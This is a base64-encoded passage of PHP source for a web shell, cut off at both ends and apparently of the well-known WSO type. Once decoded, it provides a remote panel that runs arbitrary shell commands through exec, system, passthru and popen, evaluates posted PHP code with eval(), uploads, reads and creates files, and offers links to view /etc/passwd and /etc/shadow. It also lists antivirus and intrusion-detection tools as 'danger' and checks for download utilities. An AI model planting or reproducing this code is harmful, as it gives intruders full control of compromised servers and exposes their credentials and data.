LFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsgDQogIC AgJGRyaXZlcyA9ICIiOyANCiAgICBpZiAoJEdMT0JBTFNbJ29z J10gPT0gJ3dpbicpIHsgDQogICAgICAgIGZvcmVhY2goIHJhbm dlKCdhJywneicpIGFzICRkcml2ZSApIA0KICAgICAgICBpZiAo aXNfZGlyKCRkcml2ZS4nOlxcJykpIA0KICAgICAgICAgICAgJG RyaXZlcyAuPSAnPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0Zp bGVzTWFuXCcsXCcnLiRkcml2ZS4nOi9cJykiPlsgJy4kZHJpdm UuJyBdPC9hPiAnOyANCiAgICB9IA0KICAgIGVjaG8gJzx0YWJs ZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbm c9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5V bmFtZQ0KVXNlcg0KUGhwDQpIZGQNCkN3ZCcuKCRHTE9CQUxTWy dvcyddID09ICd3aW4nPycNCkRyaXZlcyc6JycpLic8L3NwYW4+ PC90ZD4nLiANCiAgICAgICAgICc8dGQ+Ojxub2JyPicuc3Vic3 RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKS4nICA8YSBocmVmPSJo dHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3E9Jy51cmxlbm NvZGUoQHBocF91bmFtZSgpKS4nIiB0YXJnZXQ9Il9ibGFuayI+ W0dvb2dsZV08L2E+IDxhIGhyZWY9IicuJG1pbGxpbmsuJyIgdG FyZ2V0PV9ibGFuaz5bbWlsdzBybV08L2E+PC9ub2JyPg0KOicu JHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6PC9zcG FuPiAnLiRnaWQuJyAoICcuJGdyb3VwLicgKQ0KOicuQHBocHZl cnNpb24oKS4nIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcuKC RHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVk Pk9OPC9mb250Pic6Jzxmb250IGNvbG9yPTw/PSRjb2xvcj8+PGI+T0ZGPC9iPjwvZm9udD4nKS4nIDxhIGhyZW Y9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxudWxsLFwnaW5m b1wnKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOj wvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycpLicNCjonLnZp ZXdTaXplKCR0b3RhbFNwYWNlKS4nIDxzcGFuPkZyZWU6PC9zcG FuPiAnLnZpZXdTaXplKCRmcmVlU3BhY2UpLicgKCcuKGludCko JGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApLiclKQ0KOicuJG N3ZF9saW5rcy4nICcudmlld1Blcm1zQ29sb3IoJEdMT0JBTFNb J2N3ZCddKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZX NNYW5cJyxcJycuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJ1wnLFwn XCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+DQo6Jy4kZHJpdm VzLic8L3RkPicuIA0KICAgICAgICAgJzx0ZCB3aWR0aD0xIGFs aWduPXJpZ2h0Pjxub2JyPjxzZWxlY3Qgb25jaGFuZ2U9Imcobn VsbCxudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudmFsdWUpIj48 b3B0Z3JvdXAgbGFiZWw9IlBhZ2UgY2hhcnNldCI+Jy4kb3B0X2 NoYXJzZXRzLic8L29wdGdyb3VwPjwvc2VsZWN0Pg0KPHNwYW4+ U2VydmVyIElQOjwvc3Bhbj4NCicuZ2V0aG9zdGJ5bmFtZSgkX1 NFUlZFUlsiSFRUUF9IT1NUIl0pLicNCjxzcGFuPkNsaWVudCBJ UDo8L3NwYW4+DQonLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLi c8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jy4gDQogICAgICAg ICAnPHRhYmxlIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MC B3aWR0aD0xMDAlPjx0cj4nLiRtZW51Lic8L3RyPjwvdGFibGU+ PGRpdiBzdHlsZT0ibWFyZ2luOjUiPic7IA0KfSANCiANCmZ1bm N0aW9uIHByaW50Rm9vdGVyKCkgeyANCiAgICAkaXNfd3JpdGFi bGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyI8Zm 9udCBjb2xvcj1ncmVlbj5bIFdyaXRlYWJsZSBdPC9mb250PiI6 Ijxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb2 50PiI7IA0KPz4gDQo8L2Rpdj4gDQo8dGFibGUgY2xhc3M9aW5m byBpZD10b29sc1RibCBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW 5nPTAgd2lkdGg9MTAwJSI+IA0KICAgIDx0cj4gDQogICAgICAg IDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLHRoaXMuYy52YW x1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+Q2hhbmdlIGRpcjo8 L3NwYW4+DQo8aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPX RleHQgbmFtZT1jIHZhbHVlPSI8Pz1odG1sc3BlY2lhbGNoYXJz KCRHTE9CQUxTWydjd2QnXSk7Pz4iPjxpbnB1dCB0eXBlPXN1Ym 1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPiANCiAgICAgICAg PHRkPjxmb3JtIG9uc3VibWl0PSJnKCdGaWxlc1Rvb2xzJyxudW xsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+ UmVhZCBmaWxlOjwvc3Bhbj4NCjxpbnB1dCBjbGFzcz0idG9vbH NJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3Vi bWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+IA0KICAgIDwvdH I+IA0KICAgIDx0cj4gDQogICAgICAgIDx0ZD48Zm9ybSBvbnN1 Ym1pdD0iZygnRmlsZXNNYW4nLG51bGwsJ21rZGlyJyx0aGlzLm QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZGly Ojwvc3Bhbj4NCjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cG U9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVl PSI+PiI+PC9mb3JtPjw/PSRpc193cml0YWJsZT8+PC90ZD4gDQogICAgICAgIDx0ZD48Zm 9ybSBvbnN1Ym1pdD0iZygnRmlsZXNUb29scycsbnVsbCx0aGlz LmYudmFsdWUsJ21rZmlsZScpO3JldHVybiBmYWxzZTsiPjxzcG FuPk1ha2UgZmlsZTo8L3NwYW4+DQo8aW5wdXQgY2xhc3M9InRv b2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPX N1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48Pz0kaXNfd3JpdGFi bGU/PjwvdGQ+IA0KICAgIDwvdHI+IA0KICAgIDx0cj4gDQogICAgIC AgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnQ29uc29sZScsbnVs bCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPk V4ZWN1dGU6PC9zcGFuPg0KPGlucHV0IGNsYXNzPSJ0b29sc0lu cCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdH lwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4gDQog ICAgICAgIDx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUE U9J211bHRpcGFydC9mb3JtLWRhdGEnPiANCiAgICAgICAgPGlu cHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNQW 4nPiANCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9 YyB2YWx1ZT0nPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1 snY3dkJ10pPz4nPiANCiAgICAgICAgPGlucHV0IHR5cGU9aGlk ZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPiANCiAgIC AgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2 YWx1ZT0nPD89aXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE 9TVFsnY2hhcnNldCddOicnPz4nPiANCiAgICAgICAgPHNwYW4+ VXBsb2FkIGZpbGU6PC9zcGFuPg0KPGlucHV0IGNsYXNzPSJ0b2 9sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1z dWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PD89JGlzX3dyaXRhYm xlPz48L3RkPiANCiAgICA8L3RyPiANCiANCjwvdGFibGU+IA0K PC9kaXY+IA0KPC9ib2R5PjwvaHRtbD4gDQo8P3BocCANCn0gDQ ppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlk IikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdG lvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7 IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7IHJldHVybi BmYWxzZTsgfSB9DQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBv c2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZG lzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9 PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKC RwKSB7IHJldHVybiBmYWxzZTsgfSB9DQpmdW5jdGlvbiBleCgk aW4pIHsgDQogICAgJG91dCA9ICcnOyANCiAgICBpZihmdW5jdG lvbl9leGlzdHMoJ2V4ZWMnKSkgeyANCiAgICAgICAgQGV4ZWMo JGluLCRvdXQpOyANCiAgICAgICAgJG91dCA9IEBqb2luKCJcbi IsJG91dCk7IA0KICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3Rz KCdwYXNzdGhydScpKSB7IA0KICAgICAgICBvYl9zdGFydCgpOy ANCiAgICAgICAgQHBhc3N0aHJ1KCRpbik7IA0KICAgICAgICAk b3V0ID0gb2JfZ2V0X2NsZWFuKCk7IA0KICAgIH1lbHNlaWYoZn VuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyANCiAgICAgICAg b2Jfc3RhcnQoKTsgDQogICAgICAgIEBzeXN0ZW0oJGluKTsgDQ ogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsgDQogICAg fWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKS kgeyANCiAgICAgICAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsg DQogICAgfWVsc2VpZihpc19yZXNvdXJjZSgkZiA9IEBwb3Blbi gkaW4sInIiKSkpIHsgDQogICAgICAgICRvdXQgPSAiIjsgDQog ICAgICAgIHdoaWxlKCFAZmVvZigkZikpIA0KICAgICAgICAgIC AgJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsgDQogICAgICAgIHBj bG9zZSgkZik7IA0KICAgIH0gDQogICAgcmV0dXJuICRvdXQ7IA 0KfSANCmZ1bmN0aW9uIHZpZXdTaXplKCRzKSB7IA0KICAgIGlm KCRzID49IDEwNzM3NDE4MjQpIA0KICAgICAgICByZXR1cm4gc3 ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBH Qic7IA0KICAgIGVsc2VpZigkcyA+PSAxMDQ4NTc2KSANCiAgIC AgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4 NTc2ICkgLiAnIE1CJzsgDQogICAgZWxzZWlmKCRzID49IDEwMj QpIA0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAk cyAvIDEwMjQgKSAuICcgS0InOyANCiAgICBlbHNlDQogICAgIC AgIHJldHVybiAkcyAuICcgQic7IA0KfSANCiANCmZ1bmN0aW9u IHBlcm1zKCRwKSB7IA0KICAgIGlmICgoJHAgJiAweEMwMDApID 09IDB4QzAwMCkkaSA9ICdzJzsgDQogICAgZWxzZWlmICgoJHAg JiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsgDQogICAgZW xzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICct JzsgDQogICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4Nj AwMCkkaSA9ICdiJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDQw MDApID09IDB4NDAwMCkkaSA9ICdkJzsgDQogICAgZWxzZWlmIC goJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsgDQog ICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaS A9ICdwJzsgDQogICAgZWxzZSAkaSA9ICd1JzsgDQogICAgJGkg Lj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOyANCiAgIC AkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwND ApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgo JHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7IA0KICAgICRpIC 49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsgDQogICAg JGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOyANCi AgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwIC YgMHgwNDAwKSA/ICdTJyA6ICctJykpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMD A0KSA/ICdyJyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwMD IpID8gJ3cnIDogJy0nKTsgDQogICAgJGkgLj0gKCgkcCAmIDB4 MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOi AnLScpKTsgDQogICAgcmV0dXJuICRpOyANCn0gDQpmdW5jdGlv biB2aWV3UGVybXNDb2xvcigkZikgeyAgDQogICAgaWYgKCFAaX NfcmVhZGFibGUoJGYpKSANCiAgICAgICAgcmV0dXJuICc8Zm9u dCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcy gkZikpLic8L2I+PC9mb250Pic7IA0KICAgIGVsc2VpZiAoIUBp c193cml0YWJsZSgkZikpIA0KICAgICAgICByZXR1cm4gJzxmb2 50IGNvbG9yPXdoaXRlPjxiPicucGVybXMoQGZpbGVwZXJtcygk ZikpLic8L2I+PC9mb250Pic7IA0KICAgIGVsc2UNCiAgICAgIC AgcmV0dXJuICc8Zm9udCBjb2xvcj0jMDBCQjAwPjxiPicucGVy bXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7IA0KfS ANCmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgeyAN CiAgICBmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsgDQogICAgIC AgICRkaCAgPSBvcGVuZGlyKCRkaXIpOyANCiAgICAgICAgd2hp bGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZG gpKSkgeyANCiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGVu YW1lOyANCiAgICAgICAgfSANCiAgICAgICAgcmV0dXJuICRmaW xlczsgDQogICAgfSANCn0gDQpmdW5jdGlvbiB3aGljaCgkcCkg eyANCiAgICAkcGF0aCA9IGV4KCd3aGljaCAnLiRwKTsgDQogIC AgaWYoIWVtcHR5KCRwYXRoKSkgDQogICAgICAgIHJldHVybiAk cGF0aDsgDQogICAgcmV0dXJuIGZhbHNlOyANCn0gDQpmdW5jdG lvbiBhY3Rpb25TZWNJbmZvKCkgeyANCiAgICBwcmludEhlYWRl cigpOyANCiAgICBlY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IG luZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+Jzsg DQogICAgZnVuY3Rpb24gc2hvd1NlY1BhcmFtKCRuLCAkdikgey ANCiAgICAgICAgJHYgPSB0cmltKCR2KTsgDQogICAgICAgIGlm KCR2KSB7IA0KICAgICAgICAgICAgZWNobyAnPHNwYW4+Jy4kbi 4nOiA8L3NwYW4+JzsgDQogICAgICAgICAgICBpZihzdHJwb3Mo JHYsICJcbiIpID09PSBmYWxzZSkgDQogICAgICAgICAgICAgIC AgZWNobyAkdi4nDQonOyANCiAgICAgICAgICAgIGVsc2UNCiAg ICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nLi R2Lic8L3ByZT4nOyANCiAgICAgICAgfSANCiAgICB9IA0KICAg ICAgDQogICAgc2hvd1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcm UnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7IA0KICAg IHNob3dTZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucy csICgkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSk/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKT sgDQogICAgc2hvd1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywg QGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsgDQogICAgc2hvd1 NlY1BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dl dCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOyANCiAgICBzaG93U2 VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlf Z2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7IA0KICAgIH Nob3dTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25f ZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJy k7IA0KICAgICR0ZW1wPWFycmF5KCk7IA0KICAgIGlmKGZ1bmN0 aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpIA 0KICAgICAgICAkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dl dF9jbGllbnRfaW5mbygpLiIpIjsgDQogICAgaWYoZnVuY3Rpb2 5fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIA0KICAgICAgICAk dGVtcFtdID0gIk1TU1FMIjsgDQogICAgaWYoZnVuY3Rpb25fZX hpc3RzKCdwZ19jb25uZWN0JykpIA0KICAgICAgICAkdGVtcFtd ID0gIlBvc3RncmVTUUwiOyANCiAgICBpZihmdW5jdGlvbl9leG lzdHMoJ29jaV9jb25uZWN0JykpIA0KICAgICAgICAkdGVtcFtd ID0gIk9yYWNsZSI7IA0KICAgIHNob3dTZWNQYXJhbSgnU3VwcG 9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXAp KTsgDQogICAgZWNobyAnDQonOyANCiAgICAgIA0KICAgIGlmKC AkR0xPQkFMU1snb3MnXSA9PSAnbml4JyApIHsgDQogICAgICAg ICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbG QnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1Ynkn LCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2 NhdGUnLCdzdWlkcGVybCcpOyANCiAgICAgICAgJGRhbmdlciA9 IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW 4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywn Y2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aX JlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdv c3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2 NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcs J3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7IA0KICAgIC AgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNo JywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taX Jyb3InKTsgDQogICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFi bGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcG Fzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb2 9sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108 L2E+Ijonbm8nKTsgDQogICAgICAgIHNob3dTZWNQYXJhbSgnUm VhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNfcmVhZGFibGUoJy9l dGMvc2hhZG93Jyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb2 9sc1wiLCBcImV0Y1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9h PiI6J25vJyk7IA0KICAgICAgICBzaG93U2VjUGFyYW0oJ09TIH ZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3Zl cnNpb24nKSk7IA0KICAgICAgICBzaG93U2VjUGFyYW0oJ0Rpc3 RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNz dWUubmV0JykpOyANCiAgICAgICAgaWYoISRHTE9CQUxTWydzYW ZlX21vZGUnXSkgeyANCiAgICAgICAgICAgIGVjaG8gJw0KJzsg DQogICAgICAgICAgICAkdGVtcD1hcnJheSgpOyANCiAgICAgIC AgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKSANCiAg ICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW1 09JGl0ZW07fSANCiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgn VXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOyANCiAgIC AgICAgICAgICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAg Zm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkgDQogICAgICAgIC AgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVt O30gDQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rhbmdlci csIGltcGxvZGUoJywgJywkdGVtcCkpOyANCiAgICAgICAgICAg ICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAgZm9yZWFjaC AoJGRvd25sb2FkZXJzIGFzICRpdGVtKSAgDQogICAgICAgICAg ICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO3 0gDQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rvd25sb2Fk ZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7IA0KICAgICAgIC AgICAgZWNobyAnDQonOyANCiAgICAgICAgICAgIHNob3dTZWNQ YXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldG MvaG9zdHMnKSk7IA0KICAgICAgICAgICAgc2hvd1NlY1BhcmFt KCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7IA0KICAgICAgIC AgICAgc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZp bGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOyANCiAgIC AgICAgfSANCiAgICB9IGVsc2UgeyANCiAgICAgICAgc2hvd1Nl Y1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOyAgDQogIC AgICAgIHNob3dTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycs ZXgoJ25ldCBhY2NvdW50cycpKTsgIA0KICAgICAgICBzaG93U2 VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLGV4KCduZXQgdXNlcicp KTsgDQogICAgfSANCiAgICBlY2hvICc8L2Rpdj4nOyANCiAgIC BwcmludEZvb3RlcigpOyANCn0gDQogDQpmdW5jdGlvbiBhY3Rp b25QaHAoKSB7IA0KICAgIGlmKCBpc3NldCgkX1BPU1RbJ2FqYX gnXSkgKSB7IA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VS VkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7IA0KIC AgICAgICBvYl9zdGFydCgpOyANCiAgICAgICAgZXZhbCgkX1BP U1RbJ3AxJ10pOyANCiAgICAgICAgJHRlbXAgPSAiZG9jdW1lbn QuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRp c3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE 91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1s c3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XF wnXDAiKS4iJztcbiI7IA0KICAgICAgICBlY2hvIHN0cmxlbigk dGVtcCksICJcbiIsICR0ZW1wOyANCiAgICAgICAgZXhpdDsgIA 0KICAgIH0gDQogICAgcHJpbnRIZWFkZXIoKTsgDQogICAgaWYo IGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXS A9PSAnaW5mbycpICkgeyANCiAgICAgICAgZWNobyAnPGgxPlBI UCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsgDQogIC AgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBwaHBpbmZvKCk7 IA0KICAgICAgICAkdG1wID0gb2JfZ2V0X2NsZWFuKCk7IA0KIC AgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchYm9keSB7Lip9 IW1zaVUnLCcnLCR0bXApOyANCiAgICAgICAgJHRtcCA9IHByZW dfcmVwbGFjZSgnIWE6XHcrIHsuKn0hbXNpVScsJycsJHRtcCk7 IA0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchaDEhbX NpVScsJ2gyJywkdG1wKTsgDQogICAgICAgICR0bXAgPSBwcmVn X3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLn YsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsgDQogICAgICAgICR0 bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5LCB0ZCwgdGgsIGgyLC BoMiB7Lip9IW1zaVUnLCcnLCR0bXApOyANCiAgICAgICAgZWNo byAkdG1wOyANCiAgICAgICAgZWNobyAnPC9kaXY+DQonOyANCi AgICB9IA0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYm IWVtcHR5KCRfUE9TVFsncDEnXSkpIA0KICAgICAgICAkX1NFU1 NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgn XSA9IGZhbHNlOyANCiAgICAgICAgZWNobyAnPGgxPkV4ZWN1dG lvbiBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxm b3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKH RoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNv ZGUudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY29kZS 52YWx1ZSxcJ1wnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVh IG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy 4oIWVtcHR5KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nPC 90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZh bCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPic7IA0KICAgIGVjaG 8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFs dWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0 hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQg dXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdH lsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpu b25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT 4nOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyAN CiAgICAgICAgb2Jfc3RhcnQoKTsgDQogICAgICAgIGV2YWwoJF 9QT1NUWydwMSddKTsgDQogICAgICAgIGVjaG8gaHRtbHNwZWNp YWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7IA0KICAgIH0gDQogIC 